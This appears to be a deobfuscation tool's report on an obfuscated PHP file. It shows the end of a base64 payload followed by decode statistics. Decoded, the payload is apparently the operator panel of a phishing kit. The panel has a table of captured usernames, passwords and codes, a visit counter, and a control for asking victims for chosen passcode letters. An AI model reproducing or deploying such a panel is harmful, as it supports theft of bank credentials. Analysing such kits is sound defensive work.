0ibmF2LWl0ZW0iPjxhIGNsYXNzPSJuYXYtbGluayJocmVmPSIjImlkPSJhYm91dCI+QWJvdXQ8L2E+PC9saT48bGkgY2xhc3M9Im5hdi1pdGVtIj48YSBjbGFzcz0ibmF2LWxpbmsiaWQ9IiI+VmlzaXRzOiA8c3BhbiBpZD0iaXBkYXRhIj4tPC9zcGFuPjwvYT48L2xpPjwvdWw+PC9kaXY+PC9uYXY+PGRpdiBjbGFzcz0iZmFkZSBtb2RhbCJpZD0ibW9kb25rIj48ZGl2IGNsYXNzPSJtb2RhbC1kaWFsb2cicm9sZT0iZG9jdW1lbnQiPjxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQiPjxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+PGg1IGNsYXNzPSJtb2RhbC10aXRsZSI+d29vZiB3b29mPC9oNT48YnV0dG9uIGNsYXNzPSJjbG9zZSJ0eXBlPSJidXR0b24iYXJpYS1sYWJlbD0iQ2xvc2UiZGF0YS1kaXNtaXNzPSJtb2RhbCI+PHNwYW4gYXJpYS1oaWRkZW49InRydWUiPsOXPC9zcGFuPjwvYnV0dG9uPjwvZGl2PjxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPjxwPk15IHBhcmVudHMgbGVmdCBtZS4gQW55d2F5cyB5ZWFoIG1hZGUgYnkgc2xhY2thIG5vdCB1ciBtYXJqIHNvIHloIHlrLjwvcD48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSJmYWRlIG1vZGFsImlkPSJsZXR0ZXJzIj48ZGl2IGNsYXNzPSJtb2RhbC1kaWFsb2cicm9sZT0iZG9jdW1lbnQiPjxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQiPjxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+PGg1IGNsYXNzPSJtb2RhbC10aXRsZSI+TGV0dGVyczwvaDU+PGJ1dHRvbiBjbGFzcz0iY2xvc2UidHlwZT0iYnV0dG9uImFyaWEtbGFiZWw9IkNsb3NlImRhdGEtZGlzbWlzcz0ibW9kYWwiPjxzcGFuIGFyaWEtaGlkZGVuPSJ0cnVlIj7Dlzwvc3Bhbj48L2J1dHRvbj48L2Rpdj48ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij48dGFibGUgY2xhc3M9InRhYmxlIHRhYmxlLWRhcmsgdGFibGUtaG92ZXIgdGFibGUtc3RyaXBlZCJzdHlsZT0id2lkdGg6MjQwcHgiPjx0aGVhZD48dHI+PHRoIHN0eWxlPSJ3aWR0aDo3MHB4Ij4xPC90aD48dGggc3R5bGU9IndpZHRoOjcwcHgiPjI8L3RoPjx0aCBzdHlsZT0id2lkdGg6NzBweCI+MzwvdGg+PC90cj48L3RoZWFkPjx0Ym9keT48dHI+PHRkPjxzZWxlY3QgaWQ9ImwxInN0eWxlPSJ3aWR0aDo2MHB4Ij48b3B0aW9uIHZhbHVlPSIxIj4xc3Q8L29wdGlvbj48b3B0aW9uIHZhbHVlPSIyIj4ybmQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSIzIj4zcmQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSI0Ij40dGg8L29wdGlvbj48b3B0aW9uIHZhbHVlPSI1Ij41dGg8L29wdGlvbj48b3B0aW9uIHZhbHVlPSI2Ij42dGg8L29wdGlvbj48b3B0aW9uIHZhbHVlPSI3Ij5zZWNvbmQgbGFzdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IjgiPmxhc3Q8L29wdGlvbj48L3NlbGVjdD48L3RkPjx0ZD48c2VsZWN0IGlkPSJsMiJzdHlsZT0id2lkdGg6NjBweCI+PG9wdGlvbiB2YWx1ZT0iMSI+MXN0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iMiI+Mm5kPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iMyI+M3JkPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iNCI+NHRoPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iNSI+NXRoPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iNiI+NnRoPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iNyI+c2Vjb25kIGxhc3Q8L29wdGlvbj48b3B0aW9uIHZhbHVlPSI4Ij5sYXN0PC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48dGQ+PHNlbGVjdCBpZD0ibDMic3R5bGU9IndpZHRoOjYwcHgiPjxvcHRpb24gdmFsdWU9IjEiPjFzdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IjIiPjJuZDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IjMiPjNyZDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IjQiPjR0aDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IjUiPjV0aDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IjYiPjZ0aDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IjciPnNlY29uZCBsYXN0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iOCI+bGFzdDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PGRpdiBpZD0ic2VuZGJ1dHRvbiI+PGEgY2xhc3M9ImJ0biBidG4taW5mbyJocmVmPSJqYXZhc2NyaXB0OmxldHRlcihVTklRKSJpZD0ic2VuZGxldHRlciJ2YWx1ZT0iIj5TZW5kPC9hPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9ImJnLWRhcmsgbXgtYXV0byB3LTUwImlkPSJ0YWJsZSI+PHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1kYXJrIHRhYmxlLWhvdmVyIHRhYmxlLXN0cmlwZWQiPjx0aGVhZD48dHI+PHRoPklEPC90aD48dGg+VXNlcm5hbWU8L3RoPjx0aD5QYXNzd29yZDwvdGg+PHRoPkNvZGU8L3RoPjx0aD5QYWdlPC90aD48dGggY2xhc3M9InctNTAiPkFjdGlvbnM8L3RoPjwvdHI+PC90aGVhZD48dGJvZHkgaWQ9ImNvbnRlbnQiPjwvdGJvZHk+PC90YWJsZT48L2Rpdj48ZGl2IGNsYXNzPSJ0b2FzdCI+PGRpdiBjbGFzcz0idG9hc3QtaGVhZGVyIj48c3Ryb25nIGNsYXNzPSJtci1hdXRvIHRleHQtcHJpbWFyeSI+Q29waWVkIFRleHQ8L3N0cm9uZz4gPHNtYWxsIGNsYXNzPSJ0ZXh0LW11dGVkIj5Ob3c8L3NtYWxsPiA8YnV0dG9uIGNsYXNzPSJjbG9zZSBtYi0xIG1sLTIidHlwZT0iYnV0dG9uImRhdGEtZGlzbWlzcz0idG9hc3QiPsOXPC9idXR0b24+PC9kaXY+PGRpdiBjbGFzcz0idG9hc3QtYm9keSJpZD0iY3VycmVudCI+PC9kaXY+PC9kaXY+PC9ib2R5PjwvaHRt')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 92ea2da9517e3b4c5ff70c7369c23577 |
Eval Count | 1 |
Decode Time | 84 ms |